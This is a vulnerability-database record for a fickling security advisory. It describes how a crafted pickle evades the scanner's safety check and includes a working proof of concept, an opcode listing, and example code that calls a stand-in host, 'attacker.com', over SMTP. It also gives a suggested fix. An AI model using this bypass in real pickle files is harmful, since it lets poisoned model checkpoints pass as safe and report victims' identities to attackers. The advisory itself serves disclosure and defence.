{"id":"GHSA-83pf-v6qq-pwmr","aliases":[],"url":"https://o3.security/vulnerability/GHSA-83pf-v6qq-pwmr","summary":"Fickling has a detection bypass via stdlib network-protocol constructors","details":"# Our assessment\n\n`imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected.\n\n# Original report \n\n## Summary\n\nFickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as\n`LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time\nusing stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`,\n`ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`.\n\nThe bypass exploits two independent root causes described below.\n\n---\n\n## Root Cause 1: Incomplete blocklist (fixed in PR #233)\n\n`fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist.\n`fickling/analysis.py` (lines 229-248) defines the parallel\n`UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib\nnetwork-protocol modules whose constructors open a TCP socket at instantiation time:\n\n| Module | Class | Default port | Constructor side-effect |\n|---|---|---|---|\n| `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO |\n| `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner |\n| `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner |\n| `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting |\n| `telnetlib` | `Telnet` | 23 | TCP connect |\n| `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake |\n\nBecause these module names were absent from both blocklists, `UnsafeImportsML`,\n`UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine\nstdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did\nnot fire.\n\n**Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`.\n\n---\n\n## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched)\n\n### Description\n\n`unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables\nthat are assigned but never referenced. `UnusedVariables` analysis calls this method\nand raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a\nbare `REDUCE` opcode that stores its result without using it.\n\nThe flaw is at line 1183. The method iterates over `module_body` statements and, when\nit encounters the final `result = <expr>` assignment, breaks out of the loop\nimmediately without first walking the right-hand side expression for `Name` references:\n\n```python\n# fickling/fickle.py:1183 (current code -- vulnerable)\nif (\n    len(statement.targets) == 1\n    and isinstance(statement.targets[0], ast.Name)\n    and statement.targets[0].id == \"result\"\n):\n    # this is the return value of the program\n    break   # exits WITHOUT scanning statement.value\n```\n\nAny variable that appears only in the RHS of `result = <expr>` is therefore never\nadded to the `used` set and is incorrectly classified as unused.\n\n### How this enables bypass suppression\n\nWhen fickling processes a `REDUCE` opcode in isolation, it generates:\n\n```python\n_var0 = SMTP('attacker.com', 25)\nresult = _var0\n```\n\nBecause the loop breaks before scanning `result = _var0`, `_var0` never enters\n`used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`.\n\nAdding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated\nAST to:\n\n```python\nfrom smtplib import SMTP\n_var0 = SMTP('attacker.com', 25)   # dangerous call\n_var1 = _var0                      # BUILD step 1: intermediate reference\n_var1.__setstate__({})             # BUILD step 2: state call\nresult = _var1\n```\n\nNow `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the\nbreak, so `_var0` correctly enters `used` and `UnusedVariables` stays silent.\n\nThe `__setstate__` call is excluded from `OvertlyBadEvals` because\n`ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls`\n(line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`.\n\nThe `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds\n`SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals`\nskips calls whose function name is in `likely_safe_imports` (lines 339-345).\n\n**Net result: zero warnings, severity `LIKELY_SAFE`.**\n\nThis flaw is generic -- it applies to any module not on the blocklist, not just the\nsix fixed in PR #233. Any future blocklist gap can be silently exploited using the\nsame `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched.\n\n### Bypass opcode sequence\n\n```\nOffset  Opcode            Argument\n------  ------            --------\n0       PROTO             4\n2       GLOBAL            'smtplib' 'SMTP'\n16      SHORT_BINUNICODE  'attacker.com'\n30      BININT2           25\n33      TUPLE2\n34      REDUCE                          <- TCP connection opened here\n35      EMPTY_DICT\n36      BUILD                           <- suppresses UnusedVariables via flaw\n37      STOP\n```\n\nFickling's synthetic AST for this sequence (what all analysis passes inspect):\n\n```python\nfrom smtplib import SMTP\n_var0 = SMTP('attacker.com', 25)\n_var1 = _var0\n_var1.__setstate__({})\nresult = _var1\n```\n\nNo analysis rule in fickling fires on this AST.\n\n### Proof of Concept\n\nRequires only `pip install fickling`. Save as `poc.py` and run.\n\n```python\nimport socket\nimport threading\nimport pickle\n\ndef build_bypass_pickle(host: str, port: int) -> bytes:\n    h = host.encode(\"utf-8\")\n    return b\"\".join([\n        b\"\\x80\\x04\",\n        b\"csmtplib\\nSMTP\\n\",\n        b\"\\x8c\" + bytes([len(h)]) + h,\n        b\"M\" + bytes([port & 0xFF, (port >> 8) & 0xFF]),\n        b\"\\x86\",   # TUPLE2\n        b\"R\",      # REDUCE\n        b\"}\",      # EMPTY_DICT\n        b\"b\",      # BUILD\n        b\".\",      # STOP\n    ])\n\ndef run_poc():\n    from fickling.analysis import check_safety\n    from fickling.fickle import Pickled\n\n    HOST, PORT = \"127.0.0.1\", 19902\n    received = []\n\n    def listener():\n        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        srv.bind((HOST, PORT))\n        srv.listen(1)\n        srv.settimeout(5)\n        try:\n            conn, addr = srv.accept()\n            received.append(addr)\n            conn.close()\n        except socket.timeout:\n            pass\n        srv.close()\n\n    t = threading.Thread(target=listener, daemon=True)\n    t.start()\n\n    raw = build_bypass_pickle(HOST, PORT)\n    loaded = Pickled.load(raw)\n    result = check_safety(loaded)\n\n    print(f\"[*] fickling severity : {result.severity.name}\")\n    print(f\"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}\")\n\n    assert result.severity.name == \"LIKELY_SAFE\", \"Bypass failed\"\n    print(\"[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed\")\n\n    print(\"[*] Calling pickle.loads() to simulate victim loading the file...\")\n    try:\n        pickle.loads(raw)\n    except Exception:\n        pass\n\n    t.join(timeout=5)\n\n    if received:\n        print(f\"[+] Incoming TCP connection received from {received[0]}\")\n        print(\"[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE\")\n    else:\n        print(\"[-] No TCP connection received (network blocked)\")\n        print(\"    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n### Expected output\n\n```\n[*] fickling severity : LIKELY_SAFE\n[*] fickling is_safe  : True\n[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed\n[*] Calling pickle.loads() to simulate victim loading the file...\n[+] Incoming TCP connection received from ('127.0.0.1', 58412)\n[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE\n```\n\nTested on Python 3.11.1, Windows. Not OS-specific.\n\n### Impact\n\nAn attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)\ncan silently:\n\n- **Enumerate victims** -- receive a TCP callback every time the pickle is loaded,\n  including in sandboxed environments\n- **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service\n  banners are sent to the attacker's server\n- **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP\n  relays, IMAP stores, or FTP servers, the pickle probes those services on the\n  attacker's behalf\n- **Establish a covert channel** -- protocol handshakes carry attacker-controlled\n  bytes through a channel fickling explicitly labels safe\n\nThe `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety`\nCLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate\ncompletely with zero warnings.\n\n### Suggested fix\n\nWalk `statement.value` before the `break` so variables referenced only in the result\nassignment are correctly counted as used:\n\n```python\n# fickling/fickle.py:1183 -- suggested fix\nif (\n    len(statement.targets) == 1\n    and isinstance(statement.targets[0], ast.Name)\n    and statement.targets[0].id == \"result\"\n):\n    # scan RHS before breaking so variables used only here are marked as used\n    for node in ast.walk(statement.value):\n        if isinstance(node, ast.Name):\n            used.add(node.id)\n    break\n```\n\nThis is the same pattern already used for every other statement in the loop\n(lines 1200-1203). All 55 non-torch tests pass with this fix applied.\n\n---\n\n## Affected versions\n\nAll releases including `v0.1.7` (latest). Confirmed on latest `master` as of\n2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).\nRoot cause 2 unpatched as of this report.\n\n## Reporter\n\nAnmol Vats","published":"2026-02-20T18:24:46Z","modified":"2026-02-23T23:43:48.613965Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"fickling","fixedVersion":"0.1.8"}],"fix":{"url":"https://github.com/trailofbits/fickling/pull/233","label":"trailofbits/fickling#233"},"references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-83pf-v6qq-pwmr"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/233"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-02-23T23:43:48.613965Z"}}